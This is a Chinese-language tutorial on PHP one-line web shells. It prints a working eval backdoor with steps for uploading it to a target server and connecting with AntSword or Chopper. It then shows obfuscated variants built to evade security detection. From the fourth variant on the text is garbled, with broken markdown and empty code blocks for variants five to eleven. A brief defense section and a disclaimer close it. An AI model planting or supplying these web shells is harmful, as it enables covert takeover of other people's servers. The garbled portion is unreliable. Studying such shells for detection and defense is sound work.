PHP一句话木马全面解析
一、一句话木马简介
一句话木马(One-Liner Web Shell)是一种极其精简但功能强大的Web后门程序,通常仅由一行或少量代码组成。其特点包括:
- 代码量极小(通常1-3行)
- 功能强大,可实现完整Web Shell功能
- 隐蔽性极佳,难以被常规检测发现
- 可通过多种方式变形绕过安全防护
二、基础一句话木马工作原理
标准PHP一句话木马
<?php @eval($_POST['shell']);?>
工作原理分析:
$_POST['shell']接收通过HTTP POST方式传递的名为'shell'的参数eval()函数执行接收到的字符串作为PHP代码@符号用于抑制错误信息输出,增强隐蔽性
使用方法:
- 将代码写入webshell.php文件并上传至目标服务器
- 通过浏览器访问该文件,POST方式传入参数:
shell=phpinfo(); - 可使用蚁剑、菜刀等工具连接:
- URL: http://目标地址/webshell.php
- 连接密码: shell
三、一句话木马变形技术
1. 变量函数变形
<?php
$a = "assert";
$a(@$_POST['shell']);
?>
- 使用变量存储函数名,动态调用
2. 字符串混淆变形
<?php
$a="TR"."Es"."sA";
$b=strtolower($a);
$c=strrev($b);
@$c($_POST['shell']);
?>
- 字符串拼接:"TR"."Es"."sA" → "TREsSA"
- 大小写转换:strtolower("TREsSA") → "tressa"
- 字符串反转:strrev("tressa") → "assert"
3. 大小写混淆变形
<?php
$a="AssERT";
$b=strtolower($a);
@$b($_POST['shell']);
?>
- 使用非常规大小写组合
- 配合strtolower函数转为小写
4. 可变变量变形
<?php
$bb="assert";
$a='bb';
$$
aa($_POST['shell']);
?>
- `
\[aa` = `$($aa)` = `$('bb')` = `$bb` = "assert" ### 5. 自定义函数变形 ```php ``` - 通过自定义函数封装eval执行 ### 6. create_function变形 ```php ``` - 创建匿名函数执行代码 ### 7. call_user_func变形 ```php ``` - 使用回调函数执行 ### 8. Base64编码变形 ```php ``` - "YXNzZXJ0"是"assert"的Base64编码 - 解码后动态执行 ### 9. preg_replace变形 ```php ``` - 利用preg_replace的/e修饰符执行代码 ### 10. parse_str变形 ```php ``` - 通过parse_str动态创建变量 ### 11. str_replace变形 ```php ``` - 通过字符串替换构造函数名 ## 四、防御与检测建议 1. **输入验证**: - 对所有用户输入进行严格过滤 - 禁止执行用户可控的代码 2. **函数禁用**: - 在php.ini中禁用危险函数:eval, assert, create_function等 - 使用disable_functions配置 3. **WAF规则**: - 检测常见的一句话木马特征 - 监控异常的文件上传行为 4. **代码审计**: - 定期检查服务器上的可疑文件 - 关注非常规的文件修改时间 5. **日志监控**: - 监控访问日志中的异常请求 - 特别关注包含eval、assert等关键词的请求 ## 五、总结 PHP一句话木马具有极强的灵活性和隐蔽性,通过多种变形技术可以绕过常规的安全检测。安全人员需要深入了解其工作原理和变形方式,才能有效防御此类威胁。同时,开发人员应遵循安全编码规范,避免给攻击者可乘之机。 **重要提示**:本文仅用于安全研究和防御技术学习,请勿用于非法用途。未经授权使用这些技术攻击他人系统是违法行为。\]